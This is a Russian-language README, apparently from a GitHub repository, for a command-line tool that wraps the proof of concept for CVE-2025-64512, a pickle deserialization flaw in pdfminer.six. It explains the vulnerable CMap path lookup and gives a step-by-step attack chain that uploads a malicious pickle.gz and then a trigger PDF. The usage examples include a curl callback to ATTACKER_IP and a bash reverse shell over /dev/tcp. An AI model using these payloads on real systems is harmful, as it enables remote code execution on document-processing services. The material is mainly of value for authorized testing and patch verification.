
CLI-обёртка для PoC CVE-2025-64512, генерирующая вредоносные полезные нагрузки в форматах PDF и pickle.gz для эксплуатации небезопасной десериализации в pdfminer.six, что обеспечивает удалённое выполнение кода при обработке специально созданных PDF-файлов.
⚠️ Дисклеймер: Этот инструмент предназначен только для образовательных целей и авторизованного тестирования на проникновение. Используйте его только против систем, которыми вы владеете или на тестирование которых у вас есть явное письменное разрешение. Несанкционированное использование незаконно.
pdfminer.six — широко используемая Python-библиотека для извлечения текста и метаданных из PDF-файлов, часто встраиваемая в конвейеры обработки документов, CLI-инструменты и рабочие процессы ИИ/приёма данных. Затронутые версии загружают кэш-файлы CMap (карты символов) для поддержки шрифтов CJK с помощью модуля в Python, не проверяя, что полученный путь остаётся в пределах ожидаемого каталога кэша.
pickleСпециально созданный PDF может ссылаться на управляемый атакующим путь для этого поиска CMap. Если атакующий также может разместить вредоносный файл .pickle.gz по этому пути (например, через функцию совместной загрузки файлов), обработка PDF приводит к вызову pickle.loads() для данных, контролируемых атакующим, что приводит к выполнению произвольного кода. Именно этот механизм — включая структуру PoC-PDF — был задокументирован mtolley в официальном бюллетене безопасности.
Этот репозиторий содержит небольшую CLI-обёртку вокруг официального доказательства концепции, опубликованного в GitHub Security Advisory для CVE-2025-64512. Он не представляет новой техники эксплуатации — шаблон вредоносного PDF взят почти дословно из самого бюллетеня; этот скрипт лишь параметризует целевой путь, команду для выполнения и имена выходных файлов, чтобы PoC было проще использовать.
| Поле | Значение |
|---|---|
| CVE | CVE-2025-64512 |
| Затронуты | pdfminer.six ≤ 20250506 (также markitdown ≤ 0.1.3, pdfplumber ≤ 0.11.7) |
| Тип | Небезопасная десериализация (CWE-502) |
| Привилегии | Нет (без аутентификации, если обработка PDF доступна) |
| Воздействие | Выполнение произвольного кода |
| Патч | pdfminer.six 20251107+ |
Метод CMapDB._load_data() в pdfminer.six преобразует имя CMap — взятое из записи /Encoding шрифта PDF — в путь к файлу и загружает его с помощью pickle.loads(), если путь заканчивается на .pickle.gz. Функция не проверяет, что полученный путь остаётся в пределах собственного каталога cmap/ pdfminer.
/Encoding ссылается на выбранный атакующим путь (в URL-кодировке, / как #2F)..pickle.gz, находящийся по пути <этот путь>.pickle.gz в файловой системе цели на момент обработки PDF.Оба файла обычно можно доставить через тот же канал загрузки, который в итоге обрабатывается pdfminer.six (например, конвейер приёма документов), при условии, что итоговые пути на диске предсказуемы или обнаруживаемы.
1. Generate a malicious pickle payload (executes a command on unpickling)
2. Compress it as <name>.pickle.gz
3. Generate a "trigger" PDF whose font /Encoding points to the full
target-filesystem path of that .pickle.gz (without the extension)
4. Deliver both files to the target so they land at the expected paths
5. Wait for / trigger pdfminer.six (or any tool built on it, e.g. pdf2txt.py)
to process the trigger PDF
6. pickle.loads() executes the payload -> RCE
gzip, pickle, argparse)Для генерации полезной нагрузки не требуется сторонних зависимостей. На целевой системе должен быть установлен уязвимый pdfminer.six (или проект, зависящий от него), который фактически обрабатывает загруженный PDF.
git clone https://github.com/BardLaudian/CVE-2025-64512.git
cd CVE-2025-64512
usage: gen_payload.py [-h] [--pdf-out PDF_OUT] [--gz-out GZ_OUT] --path PATH [--command COMMAND]
options:
--pdf-out PDF_OUT Output filename for the trigger PDF (default: trigger.pdf)
--gz-out GZ_OUT Output filename for the pickle.gz payload (default: payload.pickle.gz)
--path PATH, -p PATH Full path (without .pickle.gz) on the TARGET filesystem where the
pickle.gz will end up, e.g. /var/www/app/uploads/xxxx
--command COMMAND, -c COMMAND
Command to execute on the target (default: id)
python3 gen_payload.py \
--path "/var/www/app/uploads/payload" \
--command "id > /tmp/pwned" \
--pdf-out trigger.pdf \
--gz-out payload.pickle.gz
Это создаёт:
payload.pickle.gz — загрузите его первым, в .../uploads/payload.pickle.gztrigger.pdf — загрузите его вторым; как только целевая система обработает его с помощью pdfminer.six, команда выполнитсяpython3 gen_payload.py \
--path "/var/www/app/uploads/payload" \
--command "curl http://ATTACKER_IP:8000/rce-confirmed" \
--pdf-out trigger.pdf --gz-out payload.pickle.gz
python3 gen_payload.py \
--path "/var/www/app/uploads/payload" \
--command "bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1'" \
--pdf-out trigger.pdf --gz-out payload.pickle.gz